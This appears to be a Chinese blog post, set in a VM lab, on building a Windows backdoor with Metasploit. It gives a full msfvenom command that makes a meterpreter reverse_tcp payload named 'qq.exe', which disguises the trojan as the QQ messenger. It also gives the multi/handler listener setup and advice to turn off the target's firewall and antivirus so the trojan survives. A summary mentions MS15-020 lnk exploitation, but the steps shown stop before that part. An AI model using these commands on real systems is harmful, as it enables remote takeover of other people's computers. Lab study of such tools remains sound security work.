MSF-Shellcode生成和MS15-020 渗透利用

最新推荐文章于 2025-03-13 10:40:42 发布

Tee.

最新推荐文章于 2025-03-13 10:40:42 发布

阅读量779

点赞数

文章标签：安全

本文链接：https://blog.youkuaiyun.com/Ifeeexxj/article/details/103815129

版权

本文介绍了如何使用msfvenom生成Windows后门程序，并通过MS15-020漏洞进行渗透攻击。首先，通过msfvenom创建reverse_tcp后门，然后配置multi/handler进行监听。接着，确保网络环境和文件共享设置，将生成的exe文件传至目标主机。同时，关闭防火墙和安全软件以防止干扰。在目标主机上运行后门，即可获得shell控制。此外，还详细解释了利用MS15-020漏洞的过程，包括选择正确模块，设置payload和参数，最后在目标主机上执行lnk文件完成攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1、生成window下后门程序
A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.86.130 LPORT=4444 -f exe > /qq.exe

2、重新打开一个配置窗口
use exploit/multi/handler
set payloads windows/meterpreter/reverse_tcp
set lhost 192.168.200.107
set lport 4444（默认）
exploit

3、找到生成的QQ.exe文件，把他复制到要攻击的主机上
这里要说几个注意事项
1.网络设配器最好都要在NET模式且IP地址为统一网关
2、复制不了的情况是因为没有设置文件共享的路径，两个虚拟机都设置一下
在这里插入图片描述
3、把自己电脑的防火墙，各种杀毒软件全关了，不然生成的木马软件会被自动移除